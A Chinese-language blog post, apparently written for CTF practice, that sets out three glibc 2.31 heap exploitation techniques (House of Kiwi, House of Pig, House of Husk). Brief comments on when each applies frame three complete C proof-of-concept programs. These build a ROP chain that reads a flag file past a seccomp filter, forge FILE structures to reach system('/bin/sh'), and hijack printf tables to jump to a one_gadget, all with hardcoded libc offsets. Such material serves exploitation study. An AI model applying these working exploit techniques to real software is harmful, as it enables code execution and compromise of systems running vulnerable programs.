适用于高版本的三大house
libc2.31 版本可用
# 适用于高版本的三大 house
其中 House-of-Kiwi 需要进行两次任意地址申请,实现起来是比较困难的
而 House-of-Pig 和 House-of-Husk 只需要写可控地址就行了,用 Large bin attack 就可以做到,但是 House-of-Husk 需要有 printf 和格式化字符串并且只能执行 gadget
# House-of-Kiwi
poc 参考:House OF Kiwi - by Refrain
// Ubuntu GLIBC 2.31-0ubuntu9.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x0000000000026b72
#define pop_rdx_r12 libc_base + 0x000000000011c371
#define pop_rsi_ret libc_base + 0x0000000000027529
#define pop_rax_ret libc_base + 0x000000000004a550
#define syscall_ret libc_base + 0x0000000000066229
#define ret pop_rdi_ret+1
size_t ROP[0x30];
size_t libc_base;
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}
void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x87e60;
printf("LIBC:\t%#lx\n",libc_base);
size_t magic_gadget = libc_base + 0x580a0 + 61;
size_t IO_helper = libc_base + 0x1ec8a0;
size_t SYNC = libc_base + 0x1ed500;
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; //攻击点1
*((size_t*)IO_helper + 0xA8/8) = ret;
*((size_t*)SYNC) = magic_gadget; //攻击点2
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; //攻击点3
// getchar();
malloc(0x1000); // 触发assert
_exit(-1);
}
# House-of-Pig
poc
// Ubuntu GLIBC 2.31-0ubuntu9.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#define system libc_base + 0x55410
#define _IO_list_all libc_base + 0x1ec5a0
#define _IO_str_jumps libc_base + 0x1ed560
#define __free_hook libc_base + 0x1eeb28
size_t data[0x30];
size_t fake_io[0x40] = {0};
size_t libc_base;
void setFakeIo()
{
fake_io[4] = 1;
fake_io[5] = 0xffffffffffff;
fake_io[7] = data;
fake_io[8] = data + 0x18;
fake_io[27] = _IO_str_jumps ;
}
void setData()
{
data[0] = 0x0068732f6e69622f;
data[1] = system;
data[2] = system;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
libc_base = ((size_t)setvbuf) - 0x87e60;
*((size_t*)(_IO_list_all)) = fake_io; //攻击点1
setData();
setFakeIo();
size_t *heap_base = (size_t*)((char*)malloc(0x10) - 0x2a0 + 0x10 );
*(heap_base + (0x168)/8 ) = __free_hook - 0x10; //攻击点2(tcache管理块)
*((char *)(heap_base ) + 0x38 + 0x2 )= 1;
exit(0);
}
# House-of-Husk
poc
// Ubuntu GLIBC 2.31-0ubuntu9.2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define ogg libc_base + 0xe6c7e
#define __printf_arginfo_table libc_base + 0x1f1350
#define __printf_function_table libc_base + 0x1f0ff8
size_t fake_zone[0x100];
size_t libc_base;
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
libc_base = ((size_t)setvbuf) - 0x87e60;
fake_zone[0x73] = ogg;
*((size_t*)(__printf_arginfo_table)) = fake_zone; //攻击点1
*((size_t*)(__printf_function_table)) = 1; //攻击点2
// getchar();
printf("%s" , "114514");
}
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。